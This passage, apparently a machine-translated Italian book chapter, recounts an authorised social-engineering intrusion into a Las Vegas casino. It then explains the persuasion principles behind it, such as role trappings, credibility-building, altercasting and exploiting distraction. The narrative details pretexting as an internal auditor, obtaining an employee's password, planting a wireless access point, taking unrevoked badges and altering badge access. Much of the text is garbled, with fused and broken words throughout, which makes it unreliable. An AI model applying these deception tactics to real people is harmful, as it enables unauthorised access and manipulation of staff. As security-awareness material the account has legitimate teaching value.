di esperienza tecnica, ma poca esperienza di assanecasino.
Dopo una settimana o giu di li di immergendosianalierca sulla cultura
Striscia, era giunto il momento per il vero Las &ggLui di solito ha fatto una pratica
ad avviare un lavoro come questo precoce, ottentmitio prima che fosse ufficialmente in
scaletta,
ULED per iniziare, perché nel corso degli anni a/egoperto che i manager non lo fanno
raccontare i dipendenti di un potenziale contrbfio alla settimana pensano che sta andando
per accadere. "Anche se non dovrebbe dare a nessuesta a testa, che
fare. "Ma lui facilmente aggirato questo eseguehdontrollo in due
settimane prima della data prevista.
Anche se era nove di sera per il momento € arrigatostabili nella sua
camera d'albergo, Whurley andato dritto al primsircadella sua lista per iniziare la sua
ricerca sul campo. Non avendo speso un sacco @icemi casino, questa esperienza
era piuttosto una rivelazione per lui. La primaacoke noto contraddetto
guello che aveva visto sul canale Viaggi, dove agambro dello staff del casino illustrato
o0 intervistato sembrava essere uno specialistautiezza d'elite. La maggioranza degli
i dipendenti Guardo sul posto sembrava essererigito addormentato su
i loro piedi o completamente compiacente nel lasmfo . Entrambe queste condizioni
li renderebbe facile bersaglio per il piu semplieg giochi di fiducia -
che non era nemmeno intenzione di avvicinarsi da@uke aveva pianificato.



Si avvicino un impiegato molto rilassato e con orid dotto

Ding ha trovato la persona disposta a discuteettadli del suo lavoro. Ironia della sorte,
In precedenza era stato impiegato da client-caiighurley. "Allora, scommetto

che era molto meglio, eh? "chiese Whurley.

L'impiegato ha risposto, "Non proprio. Qui vengeipgnto sottoposti ad audit tutte le
tempo. Laggiu difficilmente notato se ero un pdi&iro, piu 0 meno
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in questo modo per tutto. . . orologi, spille, grarprescindere.
La loro mano destra non sa quello che loro sinstdacendo.
L'uomo ha anche spiegato che ha usato per petdere distintivo impiegato tutto il
tempo, e qualche volta sarebbe solo condividerdgaaige con un altro dipendente
per entrare in per i pasti gratuiti forniti ai difgeenti nelle mense del personale
situato all'interno delle viscere del casino.
La mattina dopo Whurley formulato il suo obiettiaie era
semplice - avrebbe ottenuto in ogni area del cgsintetta
che poteva, documentano la sua presenza, e ceiqgaretrare il maggior numero di
sistemi di sicurezza che poteva. Inoltre, voleyzesa se lui
potrebbe ottenere I'accesso a uno dei sistemiamevano i dati finanziari o detenuto
altre informazioni sensibili, come informazioniigtiche.
Quella notte, sulla via del ritorno al suo albedgpo aver visitato il casino di destinazione,
udi una promozione alla radio per un club fitndss affre una speciale per
dipendenti del settore servizi. Ha avuto qualchmecae la mattina dopo
testa per il fitness club.
Al club, ha di mira una signora di nome Lenore.Ilminuti abbiamo avuto
stabilito una 'connessione spirituale' ". Quest Bvelato essere grande perché
Lenore era un revisore dei conti e ha voluto sap#te quello che
aveva a che fare con le parole "finanziaria" e ltdwad casino di destinazione. Se
poteva penetrare i sistemi finanziari nel suo adluty era sicuro di essere
visto come un enorme falla di sicurezza dal cliente
Uno dei trucchi preferiti di Whurley da usare quamdingegneria sociale €
I'arte della lettura a freddo. Mentre stavano pelte I'avrebbe osservare non
segnali verbali e poi buttare via qualcosa cheldbegortato lei a dire,
«Oh, no merda -. Me, troppo" Hanno colpito se fueilui le ha chiesto di uscire a cena.
Durante la cena, Whurley le disse che era nuovasaiegas e guardare
per un lavoro, che era andato a importanti uniteeesiaveva una laurea in
Finanza, ma che si era trasferito a Las Vegas @opmitura con la sua ragazza-
amico. Il cambio di passo lo avrebbe aiutato a irpda rottura. Poi
ha confessato di essere un po 'intimiditi, cercatidiitenere un lavoro di revisione
a Las Vegas perché non voleva finire "nuotare dosggali."
Ha trascorso un paio di ore rassicurandolo cheavogbbe
un momento difficile ottenere un posto di lavordidanza. Per dare una mano, Lenore gli forni
maggiori dettagli sul suo lavoro e il suo datoréasioro, che ha anche bisogno. "Lei
e stata la cosa piu grande che mi era successa oocguesto concerto, e io
volentieri pagato per la cena -. che stavo peri@oenunque "
Guardando indietro, ha detto che a questo punttragspo sicuro di sé per la sua
abilita ", che mi é costato piu tardi." Era orardziare. Aveva preparato un
Capitolo 10 ingegneri sociali - come funzionanamme fermarli
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borsa con "un paio di chicche, tra cui il mio cotgpyortatile, una banda larga Orinoco wire
meno gateway, un'antenna, e pochi altri accessavbiettivo era semplice.

Provate a entrare nella zona uffici del casinongeee un po 'digitale

foto (con data e ora) di se stesso in luoghi clredayrebbero essere, e quindi
installazione di un punto di accesso wireless sella in modo da poter cercare di distanza
incidere nei loro sistemi per raccogliere inforneazisensibili. Per completare

il lavoro, il giorno dopo avrebbe dovuto tornareir ottenere il wireless

punto di accesso.

"Mi sentivo abbastanza come James Bond." Whurleyado al casino,

fuori I'ingresso del dipendente, proprio al camdiieurno, il posizionamento

se stesso di essere in grado di osservare l'ingresmsava che sarebbe stato i

in tempo per osservare le cose per alcuni minwilanmaggior parte delle persone
sembrava di essere arrivati gia e lui era bloccatoando di camminare in tutto da

se stesso.

Pochi minuti di attesa e l'ingresso era chiar@he. non era

guello che voleva. Whurley ha, tuttavia, notare gnardia che sembrava come se
stesse andando, ma e stato fermato da una secoadhege si fermarono

intorno fumare appena fuori l'uscita. Quando hamito le loro sigarette,

si separarono e cominciarono a camminare in dinénipposte.

Mi diressi dall'altra parte della strada verso laigrdia che stava lasciando |l
costruzione e pronti a usare la mia domanda disart®greferito Come

Mi si avvicino attraversando la strada, ho lasci@ottenere appena passato a me.
Poi disse: "Mi scusi, mi scusi, non si ha il tempo?

Era dal piano. "Una cosa che ho notato & che sieagivicina qualcuno

uno dalla parte anteriore, sono quasi sempre feinglva che se si lascia

ad ottenere un po 'oltre voi prima di affrontatdehtre la guardia

stava raccontando Whurley il tempo, Whurley lo atguardando in dettaglio. La
nome distintivo identifica la guardia come Charlidentre eravamo li,

Ho avuto un colpo di fortuna. Un altro dipendenteeguto a piedi fuori e ha chiamato
Charlie dal suo soprannome, formaggio. Cosi hosthia Charlie se ha catturato merda come
che molto e mi ha detto come ha ottenuto il sopyare "

Whurley poi si diresse verso l'ingresso dei dipaticed un ritmo rapido.

Si dice spesso che la miglior difesa € 'attacathesera il suo

Piano. Quando raggiunse l'ingresso, dove avevamdigendenti show-

ing loro badge in precedenza, € andato drittogulirdia alla scrivania e

ha detto, "Ehi, hai visto Cheesy? Mi deve $ 20gsnito e mi

bisogno di soldi per ottenere qualche pranzo quaado in vacanza. "

Ricordando quel momento, egli dice, "Dannazione¢€poi € dove ho ottenuto il mio primo
sfida. "Si era dimenticato che i dipendenti ricewdioro pasti gratis. Ma lui
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non e stato messo fuori dalla messa in discussioasire altri con attenzione
disturbo da deficit / iperattivita (ADHD) potrebledere come un problema,
Si Whurley descrive comemioltoADHD ", e aggiunge che, come risultato”, |
puo pensare molto piu veloce sui miei piedi olti®0i per cento delle persone che corro
in. "Quella capacita e stata molto utile qui.
Cosi la guardia dice: "Che diavolo stai comprantpranzo per un punto qualsiasi
modo? "e ridacchid, ma iniziato a cercare sospéR@pidamente |



buttato via, "Sto incontrando un po 'di miele pgorianzo. L'uomo, lei € caldo.
(Questo distrae sempre ragazzi piu grandi, su ragdizforma, e il soggiorno-
con-mamma tipo ragazzi.) "Cosa devo fare?"

La guardia dice: "Beh, sei fregato perche 'di fogga e andato per il

resto della settimana. "

"Bastardo!" Dico.

La guardia poi divertito Whurley (un divertimentomosava spettacolo)
inaspettatamente chiedendo se era innamorato.

Ho appena comincio a rotazione con esso. Poi hooahausorpresa della mia vitdo
non hanno mai neppure avvicinarsi a qualcosa dilsinPotrebbe essere
attribuita alle capacita, ma ho rack fino a fortusa&ca: il ragazzo mi da

$ 40! Mi $ 20 dice non comprare merda e io, ovviategbisogno di essere il

uno che paga. Poi mi da cinque minuti di consightérni",

e tutto su come avrebbe voluto che aveva conosguétho che sa ora

guando aveva la mia eta.

Whurley era "in soggezione", che il ragazzo ha aatagpquesto con e pagava

la sua data immaginaria.

Ma, le cose non stavano andando bene come pendawdeyy perché come

Ha iniziato a piedi fuori, la guardia si rese coab@ non aveva mostrato alcun ID e
lo sfidato. "Allora ho detto: 'E' nella mia borstspiace ‘e ha iniziato

scavando attraverso la mia roba come ho provvddatano da lui. E 'stato un vicino
chiamo perche 'se lui avrebbe insistito per vedée avrei potuto essere
avvitata. "

Whurley ora era dentro I'ingresso dei dipendendi,mon aveva idea di dove
andare. Non c'erano un sacco di gente che potgursecosi ha appena camminato
con fiducia e iniziato a prendere appunti mentatiaol che lo circonda. Lui

aveva poca paura di essere contestato, a quedim pDivertente,” disse, "come
la psicologia del colore puo venire in modo praticoindossavo blu - il

colore verita - e vestito come se fossi un dirigentnore. La maggior parte del
persone che corrono intorno indossavano abiti,staffi e stato altamente
improbabile che mi avrebbero in discussione. "
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Mentre camminava lungo il corridoio, si accorse she dei cam-
camere epoca appena guardato proprio come quellhwdva visto sul viaggio
Channel - una "Eye in the Sky" stanza, salvo clesigunon € stato eccessivo
testa. La sala esterna era "il maggior numerod#afiegistratori che avessi mai visto in uno
posto - wow, era raffreddare "Attraverso la stangerna e!
poi ha fatto qualcosa di particolarmente coraggitido appena entrato, si schiari la gola
e prima che potessero sfidare, ho detto, 'Focls sagazza sul 23" "
Tutti i display sono stati numerati, e, naturalnegigtera una ragazza su
qguasi tutti. Gli uomini riuniti intorno schermo 23tutti cominciarono
parlando di quello che la ragazza potrebbe esserafche Whurley penso rale
rato una buona dose di paranoia. La cosa andoigantirca 15 minuti solo
check-out persone su monitor, con Whurley decidbeeil lavoro e
un perfetto per chiunque con una propensione pgEWwWEGMO.
Mentre si stava preparando a lasciare, ha annont@h, mi sono cosi preso
in tale azione, ho dimenticato di presentarmi. S&fadter con interno
Audit. Ho appena stato assunto sul personale diND@ore, "utilizzando il nome del



Preposto al Controllo Interno, che aveva raccoitonia delle sue conversazioni.

«E non sono mai stato a questa proprieta, quint so po ‘perso. Potrebbe puntate
me nella direzione degli uffici direzionali? "

| ragazzi erano piu che felice di sbarazzarsi diliigente interferire

e desiderosi di aiutare "Walter" trovare gli uffatie stava cercando. Whurley

di cui la direzione hanno indicato. Vedendo nessaonasta, ha

ha deciso di dare un'occhiata in giro e abbiameatmuna piccola stanza in cui una pausa
giovane donna stava leggendo una rivista. "Era Mega vero e proprio bella ragazza.
Cosi Megan ed io abbiamo parlato per qualche mifRdodice, 'Oh, se siete

con Internal Audit, ho alcune cose che deve analastenere i, ™

Come si & scoperto, Megan aveva un paio di scudéttine note interne,

e una scatola di carte che apparteneva di nuogppo resort principale interno
Ufficio Audit. Pensato Whurley, "Wow, ora ho un tifigivo!"

Non che la gente guarda le foto su badge di ideatiione con molta attenzione, ma
ha preso la precauzione di lanciare intorno in mgdumsolo la parte posteriore era visibile.
Mentre sto camminando fuori, vedo un dialogo apaurtficio vuoto. Ha due reti
lavorare porti, ma non posso dire se sono caldsdk a guardarli,

cosi vado di nuovo a dove Megan e seduta e leatiedo dimenticato |

doveva guardarla sistema e quello in "il capo del

ufficio. "Lei accetta gentilmente e mi permettsefiersi alla sua scrivania.

Mi da la sua password quando chiedo, e quindi daVizzare il resto-

room. Quindi, dico che ho intenzione di aggiungama "sicurezza di rete monitor

tor "e mostrarle il punto di accesso wireless. tigponde, "Qualunque cosa.

lo in realta non so molto di quella roba geniale. "
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Mentre lei era fuori, ha installato il punto di asso wireless e riavviato
il suo desktop. Poi si rese conto che aveva untbgersal Serial Bus (USB)
flash drive sul suo portachiavi e il pieno accesstcomputer di Megan. "Comincio
navigare attraverso il suo disco rigido e trovaité i tipi di roba buona. "Si é scoperto
che era I'amministratore esecutivo per ognuno skxe
tive e che aveva organizzato i loro file per nomtd bello e pulito.”
Afferro tutto quello che poteva, poi, utilizzangofunzione timer sul suo gnita
ital camera, ha preso una foto di se stesso saduféicio del dirigente principale.
Dopo pochi minuti Megan tornato, e lui le ha choasidicazioni per raggiungere
il Network Operations Center (NOC).
Li incontro "guai seri." Ha detto, "Prima di tutta,rete
stanza era segnato. . . che era fresco. Tuttavpmrta & chiusa. »Si
non aveva un badge che gli avrebbe dato I'accegsuvato a bussare.
Un signore arriva alla porta e io gli dico la stesstoria ho
stato con: "Ciao, sono Walter con il Controllo Ime e bla, bla,
. blah "Tranne quello che non so € che il capoudigio ragazzo - la IT
regista - € seduto in ufficio. Cosi il ragazzo gilarta dice
"Beh, ho bisogno di controllare con Richard. Aspeftii un secondo. "
Si gira e dice a un altro ragazzo per ottenere Ridre lasciare
lui sa che c'e qualcuno "affermando” di essererdarno
Audit sulla porta. Pochi istanti dopo, ricevo rat®ichard
chiede che sto con, dove il mio distintivo €, e mneaza dozzina di altri
domande in rapida successione. Poi dice: "Perch@wieni



nel mio ufficio mentre io chiamo il Controllo Inter e prendo questo

chiarito. "

Whurley capito che "Questo ragazzo ha completanretiie me". Ma poi,

"Pensare in fretta, gli dico "You got me!" e iarggo la mano. Ho poi dico

lui "Il mio nome & Whurley.' E raggiungo nella nbi@arsa per un biglietto da visita. Ho poi
dirgli che sono stato giu dentro le viscere delngaper un paio di

ore e non una persona mi ha sfidato, e che etgite i primo e

stava probabilmente andando a guardare piuttost® el mio rapporto. Allora io dico, 'Andiamo
seduti in ufficio, mentre si chiama over in modosdaere tutto € legittimo.

Inoltre, 'dico,’" ho bisogno di andare avanti e difdartha, che si occupa di questo
operazione, circa un paio di cose che ho visto"qui.

Per una mossa sul posto in una situazione tesaj\alato essere brillante.

Una trasformazione incredibile ha avuto luogo. Rrdhha cominciato chiedendo Whurley
Su cio che aveva visto, i nomi delle persone, &\dase poi ha spiegato

che aveva fatto sua revisione nel tentativo dinete un aumento

il budget per la sicurezza per rendere il NOC pure, con "biometria e
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tutto funziona ". E ha suggerito che forse avrghiteto usare un po 'di
Informazioni di Whurley per aiutarlo a raggiungérguo obiettivo.
Ormai era ora di pranzo. Whurley ha approfittatbajeertura da
suggerendo che forse avrebbero potuto parlarnenttuitgoranzo, che Richard
sembrava pensare fosse una buona idea, e si gettofdbri insieme alla
mensa del personale. "Si noti che non abbiamo @t@ancora nessuno, a questo punto. Cosi
Suggerisco che poniamo questa chiamata, e lui dedyai una carta, lo so
chi sei ™. Cosi i due mangiarono insieme nelldettdria, dove Whurley
ottenuto un pasto gratuito e ha fatto un nuovo atni
"Ha chiesto la mia rete di fondo e abbiamo iniziafoarlare
sulle AS400 che il casino € in esecuzione tuttdlgatto che
le cose sono andate in questo modo puo esserétideiscdue parole -. molto spaventoso
"Spaventoso
perché I'uomo € il direttore di IT, e responsapé@eil calcolatore rezza
rezza, € la condivisione di tutti i tipi di privg&ti, informazioni privilegiate con Whurley ma
non ha mai fatto il passo piu semplice di verifeckr sua identita.
Commentando questo, Whurley ha osservato che "ag&rdi medio livello
non vuole mai essere messo 'sul posto." Come lgiorggarte di noi, non vogliono mai
di sbagliare o farsi fare un errore evidente. C@ngione
la loro mentalita puo essere un grande vantagBiopt pranzo, Richard ha portato
Whurley nuovo al NOC.
"Quando camminiamo, lui mi presenta Larry sistermg@pali, amministrative
dalita per le AS400. Spiega a Larry che ho intemzidi essere 'RIP
ping 'li in un controllo in pochi giorni, e aveveldo a pranzo con me e
mi ha fatto ad accettare di fare una verifica pneglare e salvarli qualsiasi grande
imbarazzo "quando € arrivato il momento per lagievie attuale. Whurley poi
trascorso qualche minuto di ottenere una panoradacsaistemi di Larry, che raccolgono i
rendo informazioni piu utili per la sua relaziopey esempio, che il NOC
memorizzati ed elaborati tutti i dati aggregati liatero gruppo loco.
Gli ho detto che mi avrebbe aiutato per aiutarldoeemente se avessi una rete
Schema di lavoro, Access Control Lists firewattpsi via, che ha



fornito solo dopo aver chiamato Richard per I'apga@ione. Ho pensato,

"Buon per lui."

Whurley improvvisamente si rese conto che avev@adssil punto di accesso wireless
gia negli uffici direzionali. Anche se le probatiiliche egli sarebbe

catturati erano scesi drasticamente da quanddistasuo rapporto con

Richard, ha spiegato a Larry che aveva bisognordate a ottenere il

punto di accesso che aveva lasciato. "Per fard@agsei bisogno di un distintivo cosi ho potuto
lasciare

Mi torna in NOC e vanno e vengono come volevo. iy aembrava

un po 'riluttante a farlo, in modo Whurley raccomato che egli chiama Richard
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nuovo. Ha chiamato e ha detto Richard che il viitavoleva essere emesso un
distintivo; Richard ha avuto un'idea ancora miglidi casino aveva recentemente lasciato Set-
dipendenti rale andare, e loro badge erano nel B@Essuno aveva
ancora trovato il tempo per disattivarli, "quindrebbe bene per lui
utilizzare solo uno di quelli .

Whurley torno ad avere Larry spiegare i sistemgscdvere

le misure di sicurezza che avevano recentementatasd)na telefonata é arrivato dalla
La moglie di Larry, apparentemente arrabbiato @gcolbo qualche problema in corso.
Whurley avventa su questa situazione instabilenoscendo poteva bene-

fit. Larry disse a sua moglie: "Senti, non possdgpa. Ho qualcuno qui in

ufficio. "Whurley cenno a Larry di mettere la magin attesa di un secondo

e poi ha offerto consigli su quanto fosse impoear lui di lavorare

attraverso il problema con lei. E si é offerto cendere uno dei badge

se Larry gli avrebbe mostrato dove si trovavano.

"Allora Larry mi si avvicino a uno schedario, apn cassetto, e basta

detto 'prendere uno di questi.' Poi torno allasuavania e prese

il telefono. Ho notato che non c'era nessun fogjim-out o log del badge

numeri, cosi ho preso due dei tanti che erana.i. 8ra non aveva

solo un distintivo, ma che gli consenta I'acce$$¢CGC in qualsiasi momento.
Whurley poi diretti di nuovo a vedere il suo nu@mico Megan, recuperare il suo
punto di accesso wireless, e vedere cos'altro berpbtuto scoprire. E poteva
prendere il suo tempo su di esso.

Ho pensato che il tempo non avrebbe molta impogaperché lui sarebbe in
telefono con la moglie e lui sarebbe rimasto digtrger piu di lui

pensoHo impostato il cronometro sul mio conto alla rosi@sventi

minuti, il tempo per me di fare un po 'di esploraenza levatoio

ing sospetto supplementare da Larry, che sembraspestare

gualcosa era finito.

Chiunque abbia mai lavorato in un reparto IT salmdge di identificazione

sono legati ad un sistema informatico; con il thrdi accesso del PC, e possibile espandere
I'accesso per andare ovunque nell'edificio. Whusjaegrava di display

coprire il computer in cui i privilegi di accesspbl@dge sono stati controllati in modo da
potrebbe modificare I'accesso sui due scudettagkga. Attraverso

I corridoi cercando in uffici per il sistema di daollo per i cartellini,

che si é rivelato piu difficile di quanto pensasSiesentiva frustrato e

perplesso.

Decise di chiedere a qualcuno e si stabili in gaacde era stato cosi



amichevole all'ingresso dei dipendenti. Ormai mp&esone lo avevano visto
con Richard, in modo che i sospetti erano quasistenti. Whurley trovato
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il suo marchio e gli disse che aveva bisogno deved controllo di accesso agli edifici
sistema. La guardia non ha nemmeno chiedere paé¥assun problema. Gli e stato detto
esattamente
dove trovare cio che stava cercando.
"Ho installato il sistema di controllo e entratdlagiccola rete
armadio in cui si trovava. Li ho trovato un PC gavimento con la lista
per i badge di identificazione gia aperto. No seregver, nessuna password - nien- te
ing a rallentare me down ". A suo avviso, questotignico. "Le persone hanno un 'out
dagli occhi, lontano dal cuore 'mentalita. Se wtesna come questo € in una controllata
area di accesso, che pensano non ci sia alcunngigbgnolta attenzione alla protezione
il computer. "
Oltre a dare se stesso tutte le aree di accessa,uria cosa piu
voleva fare:
Solo per divertimento, ho pensato che avrei dopwtadere il distintivo in piu, aggiungere un po '
privilegi di accesso, passare il nome, e poi pasgan un
dipendente che sarebbe stato in giro per il casinayvertita-
tently aiutandomi a confondere i registri di corltoo Ma chi avrebbe |
scegliere? Perché Megan, ovviamente - sarebbefaaissare il
badge con lei. Tutto quello che ho dovuto farerke dihe avevo bisogno del suo aiuto
con la revisione.
Quando Whurley entro, Megan era cordiale come sentfa spiegato
che aveva completato il test e necessario perestterhe le attrezzature indietro.
Ha poi detto Megan che aveva bisogno del suo diutomaggior parte ingegneri sociali
sarebbe d'accordo che le persone sono troppo tispogiutare. "Aveva bisogno di vedere
Distintivo di Megan per verificare il rispetto dellista che aveva. Pochi istanti dopo,
Megan aveva un badge che confondere ulteriormerdede, mentre
Whurley aveva il distintivo e il distintivo che &vrebbe tag come
esecutivo nei registri.
Quando Whurley tornato nell'ufficio di Larry, il mager era sconvolta
appena terminato la chiamata con la moglie. Indippendere, era pronto a
continuare la conversazione. Whurley ha chiesta dregrammi di rete siano
spiegato in dettaglio a lui, ma poi interrotta er, gisarmarlo,
Whurley chiesto come andavano le cose con la mdgliarry. | due
gli uomini hanno trascorso quasi un'ora a parlareatrimonio e di altre questioni di vita.
Alla fine del nostro colloquio, ero convinto chertyanon sarebbe
mi ha causato piu problemi eventuali. Cosi, oragpia Larry che il mio
portatile ha uno speciale software di controlloieogno di correre contro il
rete. Dal momento che di solito hanno la marciaglta, ottenendo il portatile collegato
alla rete € sempre facile, perché non vi e un gegk
pianeta che non vuole vedere in esecuzione.
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Dopo un po ', Larry si allontano per fare alcurieftmate e partecipare



ad altri articoli. Lasciato a se stesso, Whurlegnstonato la rete ed e stato

in grado di compromettere diversi sistemi, sia rhatgeWindows e Linux,

a causa della cattiva gestione della passwordi ggszorso quasi due ore

awvio e arresto copie delle informazioni dalla retgersino

bruciando alcune delle voci su DVD ", che non é staio in discussione."

Dopo aver completato tutto questo ho pensato chebba stato divertente, e usare-
ful, di provare una cosa. Sono andato a ogni irdliai che ho avuto

entrare in contatto con - e alcuni che mi avevaappbrevemente visto

con gli altri - e ho detto loro qualche variante"@e ', ho finito.

Diciamo, potresti farmi un favore. Mi piace raccigge le immagini di tutte le per-
PLE e luoghi con cui lavoro a. Ti dispiacerebbettar@ una foto con

me? "Questo si e rivelato essere” incredibilmeetagice. "

Molte persone anche offerto di prendere le immadjitui con gli altri in

uffici nelle vicinanze. Distintivi Aveva anche assiato, diagrammi di rete e accesso
alla rete del casino. E aveva le foto per dimolstriaitti.

Alla riunione di riesame, il capo di Internal Authimentava che

Whurley aveva il diritto di tentare di accedersiatemi in modo fisico

perché "non era il modo in cui sarebbero statca#t.” Whurley anche

ha detto che quello che ha fatto delimitato a "orate" e che il cliente non ha

a tutti di apprezzare le sue azioni.

Whurley spiegato:

Perché il casino pensare che quello che ho fatat ingiusto1.a risposta

era semplice. Non avevo lavorato con tutto il cagnma e non ha fatto
comprendere appieno i regolamenti [operano sott@ mia relazione

potrebbe causare loro di essere controllati dallen@nissione Gaming,

che potrebbero potenzialmente avere ripercussioankiarie attuali.

Whurley é stato pagato in pieno, quindi non glp@iseva molto. Volle che

aveva lasciato una migliore impressione sul clievd,sentivo che praticamente
odiato lI'approccio che aveva usato e ho pensatinghesto per loro e per

i loro dipendenti. "Hanno fatto bene in chiaro clo& vuole veramente

vedermi piu in giro. "

Che non era accaduto prima; Di solito i clientimampprezzato il

risultati del suo audit e li vedevano come quelie ba definito "teaming mini-rosso
eventi o giochi di guerra ", nel senso che eraposto con in fase di test con il
stessi metodi che un hacker ostile o ingegneresopotrebbe. "Clienti

quasi sempre ottenere un brivido fuori di essoakiato, troppo, fino a questo punto della mia
carriera. "
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Nel complesso, Whurley tariffe questo esperienzgagecome un successo nella zona di
test, ma un disastro nel settore delle relazioantl"lo probabilmente mai
lavoro a Las Vegas di nuovo ", si lamenta.
Ma poi, forse la Gaming Commission ha bisogno @&t Sonsulenza
gelati di un hacker etico che conosce gia il sudariatorno alle aree posteriori
di un casino.
o
Nsight
Psicologo sociale Brad Sagarin, PhD, che ha fattostudio di persuasione
Sion, descrive arsenale dell'ingegnere social@i@sigp modo: "Non c'e nulla



magico ingegneria sociale. L'ingegnere sociale @g@ilo stesso

tecniche di persuasione il resto di noi usano g@gro. Prendiamo ruoli. Noi
cercare di costruire credibilita. Chiediamo in abbi reciproci. Ma a differenza di piu
di noi, l'ingegnere sociale applica queste tecnichen manipolativo,

maniera ingannevole, altamente immorale, spesseftetti devastanti. "

Abbiamo chiesto Dr. Sagarin di fornire descrizidal psicologico

principi alla base delle tattiche piu comuni utibiti da inge- sociale

gneri. In un certo numero di casi, ha accompagiaasoa spiegazione con una
esempio dai piani di libro precedente Mitnick / 8mThe Art

di Deception(Wiley Publishing, Inc., 2002), che illustratodarti-

tattica colare.

Ogni articolo inizia con una informale spiegaziow® scientifica del

principio, e un esempio.

Bardature di Ruolo

L'ingegnere sociale presenta alcune caratteristohgortamentali del ruolo che

o lei € mascherata in. La maggior parte di noi¢éemdiempire gli spazi vuoti quando somministrato
solo alcune caratteristiche di un ruolo - si vedeiamo vestito come un esecu-
tive e assumere lui € intelligente, si € concearataffidabile.

Esempio: Quando Whurley entro nel Eye in the S&gnyeera vestito

come un dirigente, parlava con un'autorita comardae ha dato cio che

gli uomini nella stanza ha preso per essere unnardii azione. Aveva successo
indossato quelle di un manager del casino o esezuti

In quasi ogni attacco di ingegneria sociale, katdate utilizza trappole della

ruolo cosi I'obiettivo sara dedurre altre caradtarine del ruolo e agire confor-
guenza. Il ruolo puo essere un tecnico IT, un tdiean nuovo noleggio, o qualsiasi
di molti altri che normalmente incoraggiare il @@ di una richiesta.

Orpelli comuni includono menzionare il nome deleael bersaglio o
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altri dipendenti, o tramite societa o industriarterologia o gergo. Per
in-persona attacchi, la scelta attaccanti di aigbnto, gioielli (un perno societa,
orologio da polso da un atleta, una penna costwsanello di scuola), o grooming (per
esempio, acconciatura) sono anche trappole chempossiggerire credibilita nel
ruolo che l'attaccante sta sostenendo. La potarqaedto metodo cresce dal
fatto che una volta che accettiamo che qualcunmécan dirigente, un cliente, un collega
dipendente), facciamo inferenze che attribuiscdtie earatteristiche (un esecu-
tivo e ricco e potente, uno sviluppatore di sofgvapiu smaliziati ma
puo essere socialmente imbarazzante, un collefjmabée).
Quante informazioni sono necessarie prima chergegaiziare a fare questi
inferenze? Non tanto.
Credibilita
Stabilire la credibilita e il primo passo nella nyagy parte degli attacchi di social engineering, un
pietra miliare per tutto cio che & da seguire.
Esempio: Whurley suggerito di Richard, una persindi alto livello, che i due
di loro hanno pranzato insieme, rendendosi con®itBuo essere visto con Richard
sarebbe stabilire immediatamente la sua credibiitéd qualsiasi dipendente che ha notato
insieme.
Dr. Sagarin identificato tre metodi usatiTihe Art of Deceptioche
ingegneri sociali si affidano a costruire credthiliin un metodo, I'attaccante



dice qualcosa che sembrerebbe essere argomentamido la sua auto

interesse, come si trova nel capitolo & 'dirte dell'ingannanella storia "One
Semplice chiamata ", quando l'attaccante raccargaa vittima," Ora, andare avanti e tipo
la password ma non mi dica di cosa si tratta. Nologrebbe mai dire a nessuno
la password, nemmeno il supporto tecnico. "Quasbtma come una dichiarazione
da qualcuno che sia affidabile.

Nel secondo metodo, l'attaccante avverte |I'ob@divun evento che

(All'insaputa del bersaglio) I'attaccante fa accadad esempio, in

la storia, "l'interruzione di rete," che appare cegditolo 5 diThe Art of

Deception, l'attaccante spiega che la connessione di mdtelgbe andare

giu. L'attaccante poi fa qualcosa che rende lanatiperde la sua rete
collegamento lavorare, dando la credibilita attateaegli occhi della vittima.
Questa tattica previsione € spesso combinato dered di questi metodo d'

ODS, in cui l'attaccante ulteriormente "dimostia“d lei € credibile da help-

ing vittima risolvere un problema. Questo e quelie &€ successo in "The Network
Interruzione ", quando l'attaccante prima ha avwteeche la rete potrebbe andare fuori,
poi causato la connessione di rete della vittinfelme, come previsto, e
successivamente ripristinato il collegamento efferaato di aver “fissato il
problema ", lasciando la sua vittima sia fiduciesgrato.
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Forzare la destinazione in un ruolo (Altercasting)
L'ingegnere sociale manovra il suo bersaglio imuoto alternativo,
come ad esempio costringendo presentazione daessgessivo.
Esempio: Whurley, nelle sue conversazioni con Lesrede messo in un
ruolo bisognosi (appena rotto con la sua ragazzmema trasferito in citta e le esigenze
un lavoro), per manovrare il suo ruolo in un helper
Nella sua forma piu comune, l'ingegnere socialderiesuo bersaglio in
il ruolo di helper. Una volta che una persona chadcettato il ruolo di aiutante, lui o lei
di solito trovare scomodo o difficile fare marcmlietro da aiutare.
Un ingegnere sociale abile cerchera di ottenergenso di un ruolo che la vit-
tim sarebbe comodo in. L'ingegnere sociale sanadijnnanipolare
la conversazione di manovrare la persona in quabrucome ha fatto Whurley
sia con Lenore e Megan quando intuiva che saretinedo
come aiutanti. Le persone sono propensi ad aceetiati che sono positivi e che fanno
sentire bene.
Distrarre dal pensiero sistematico
Gli psicologi sociali hanno determinato che gliegssmani processo incom-
Informazioni zione in uno dei due modi, che hantichettato il stema
tematico e l'euristica.
Esempio: Quando un manager necessaria per gestaesituazione difficile con il suo
moglie sconvolta, Whurley ha approfittato dellotgtamotivo dell'uomo e
distrazione per fare una richiesta che lo ha atéorun autentico dipendente del
distintivo.
Dr. Sagarin spiega, "Quando I'elaborazione sistiemgiensiamo cura-
pienamente e razionalmente una richiesta primaetidere una decisione. Quando pro-
elaborazione euristicamente, invece, prendiamegaihenti mentali
prendere decisioni. Ad esempio, si potrebbe darig®eg una richiesta in base
che il richiedente sostiene di essere, piuttoseolatsensibilita del mazioni



mazioni lui o lei ha chiesto. Cerchiamo di opem@@émodo sistematico

quando l'argomento € importante per noi. Ma lagioee del tempo, distrazione
zione, o una forte emozione ci pud passare allaafitaduristica. "

Ci piace pensare che normalmente operiamo in urormexdonale, logico,

prendere decisioni basate sui fatti. Psicologg@egory Neidert

e stato citato come dicendo, "noi umani sono ic@gene i nostri cervelli al minimo
circa il 90 per cento al 95 per cento del tempo. "

1

Gli ingegneri sociali cercano di prendere

Vantaggio di questo, usando una varieta di metoidifidenza per forzare la loro
vittime di spostare fuori dal modo sistematicopesado che la gente atti- vare
operanti nel modalita euristica sono molto mendabhbilita di avere accesso al proprio
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difese psicologiche; essi sono meno probabiligsdere sospettosi, porre domande,
0 obiezioni presenti all'attaccante.

Gli ingegneri sociali vogliono avvicinarsi obieftishe sono in modalita euristica
e tenerli li. Una tattica € quello di chiamare biettivo a cinque minuti prima
fine della giornata di lavoro, contando sul fathe ¢'ansia di lasciare il

ufficio in tempo puo portare I'obiettivo di soddisé una richiesta che potrebbe
altrimenti sono stati contestati.

Momentum di conformita

Gli ingegneri sociali creano un moto di complianfeeendo una serie di
richieste, a partire da quelli innocui.

